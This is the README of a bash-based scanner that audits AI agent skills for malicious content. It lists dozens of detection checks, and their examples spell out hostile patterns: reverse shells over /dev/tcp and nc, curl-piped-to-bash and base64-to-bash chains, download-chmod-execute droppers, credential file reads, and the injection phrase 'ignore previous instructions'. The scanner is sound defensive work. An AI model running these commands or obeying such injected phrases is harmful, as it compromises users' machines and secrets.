Security scanner for agent skills. 48 critical checks, 8 warning checks. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, campaign signatures from Koi Security, Bitdefender, Snyk, and 1Password ClickFix patterns.
Safe install (installs, audits, auto-removes if critical):
bash
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
Audit an existing skill:
bash
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
Audit all installed skills:
bash
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
JSON output (for automation):
bash
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
SARIF output (for GitHub Code Scanning / VS Code):
bash
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
Summary mode (one-line per skill):
bash
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
Verbose mode (debug which checks run and what files are scanned):
bash
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
Scan remote skill without installing:
bash
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
Diff scan (only scan what changed between versions):
bash
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
Exit codes: 0 clean, 1 warnings only, 2 critical findings.
FlagDescription--jsonJSON output for CI/dashboards--sarifSARIF v2.1.0 output for GitHub Code Scanning--summaryOne-line output per skill--verboseShow which checks run and which files are scanned--exclude-selfSkip scan when scanning own source directory--max-file-size NSkip files larger than N bytes--max-depth NLimit directory traversal depth
Create a .skillvetrc file in the skill directory to disable specific checks:
text
# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20
Or add inline comments to suppress individual lines:
js
const url = "https://bit.ly/legit-link"; // skillvet-ignore
Install the git pre-commit hook to auto-scan skills before committing:
bash
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
Each finding has a severity weight (1-10). The aggregate risk score is included in JSON, SARIF, and summary output. Higher scores indicate more dangerous patterns:
#CheckExample1Known exfiltration endpointswebhook.site, ngrok.io, requestbin2Bulk env variable harvestingprintenv |, ${!*@}3Foreign credential accessANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN in scripts4Code obfuscationbase64 decode, hex escapes, dynamic code generation5Path traversal / sensitive files../../, ~/.ssh, ~/.clawdbot6Data exfiltration via curl/wgetcurl --data, wget --post with variables7Reverse/bind shells/dev/tcp/, nc -e, socat8.env file theftdotenv loading in scripts (not docs)9Prompt injection in markdown"ignore previous instructions" in SKILL.md10LLM tool exploitationInstructions to send/email secrets11Agent config tamperingWrite/modify AGENTS.md, SOUL.md, clawdbot.json12Unicode obfuscationZero-width chars, RTL override, bidi control chars13Suspicious setup commandscurl piped to bash in SKILL.md14Social engineeringDownload external binaries, paste-and-run instructions15Shipped .env files.env files (not .example) in the skill16Homograph URLs _(Tirith)_Cyrillic i vs Latin i in hostnames17ANSI escape sequences _(Tirith)_Terminal escape codes in code/data files18Punycode domains (Tirith)xn-- prefixed IDN-encoded domains19Double-encoded paths (Tirith)%25XX percent-encoding bypass20Shortened URLs _(Tirith)_bit.ly, t.co, tinyurl.com hiding destinations21Pipe-to-shellcurl | bash (HTTP and HTTPS)22String construction evasionString.fromCharCode, getattr, dynamic call assembly23Data flow chain analysisSame file reads secrets, encodes, AND sends network requests24Time bomb detectionDate.now() > timestamp, setTimeout(fn, 86400000)25Known C2/IOC IP blocklist91.92.242.30, 54.91.154.110 (known AMOS C2 servers)26Password-protected archives"extract using password: openclaw" — AV evasion27Paste service payloadsglot.io, pastebin.com hosting malicious scripts28GitHub releases binary downloadsFake prerequisites pointing to .zip/ .exe on GitHub29Base64 pipe-to-interpreterecho '...' | base64 -D | bash — primary macOS vector30Subprocess + network commandshidden pipe-to-shell in Python/JS code31Fake URL misdirection _(warning)_decoy URL before real payload32Process persistence + networknohup curl ... & — backdoor with network access33Fake prerequisite pattern"Prerequisites" section with sketchy external downloads34xattr/chmod droppermacOS Gatekeeper bypass: download, xattr -c, chmod +x, execute35ClickFix download+execute chaincurl -o /tmp/x && chmod +x && ./x, open -a with downloads36Suspicious package sourcespip install git+https://..., npm from non-official registries37Staged installer patternFake dependency names like openclaw-core, some-lib38Fake OS update social engineering"Apple Software Update required for compatibility"39Known malicious ClawHub actorszaycv, Ddoy233, Sakaen736jih, Hightower6eu references40Bash /dev/tcp reverse shellbash -i >/dev/tcp/IP/PORT 0>&1 (AuthTool pattern)41Nohup backdoornohup bash -c '...' >/dev/null with network commands42Python reverse shellsocket.connect + dup2, pty.spawn('/bin/bash')43Terminal output disguiseDecoy "downloading..." message before malicious payload44Credential file accessDirect reads of .env, .pem, .aws/credentials45TMPDIR payload stagingAMOS pattern: drop malware to $TMPDIR then execute46GitHub raw content executioncurl raw.githubusercontent.com/... | bash47Echo-encoded payloadsLong base64 strings echoed and piped to decoders48Typosquat skill namesclawdhub-helper, openclaw-cli, skillvet1
#CheckExampleW1Unknown external tool requirementsNon-standard CLI tools in install instructionsW2Subprocess executionchild_process, execSync, spawn, subprocessW3Network requestsaxios, fetch, requests importsW4Minified/bundled filesFirst line >500 chars — can't auditW5Filesystem write operationswriteFile, open('w'), fs.appendW6Insecure transportcurl -k, verify=False — TLS disabledW7Docker untrusted registriesNon-standard image sources
.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle.
Binary files are automatically skipped. Symlinks are followed.
Works on Linux and macOS. Unicode checks (#12, #16, #17) use grep -P where available, falling back to perl on systems without Perl-compatible regex (e.g., stock macOS). If neither is available, those checks are silently skipped.
The C2 IP blocklist in check #25 is based on known indicators from:
To update IOCs, edit the KNOWN_IPS entry in scripts/patterns.b64 (base64-encoded regex pattern).
A .github/workflows/test.yml is included — runs the test suite on both Ubuntu and macOS on push/PR.
yaml
- name: Run skillvet
run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
Static analysis only. English-centric prompt injection patterns. Minified JS is flagged but not deobfuscated. A clean scan raises the bar but doesn't guarantee safety.
The scanner flags itself when audited — its own patterns contain the strings it detects. Use --exclude-self to skip self-scanning in CI.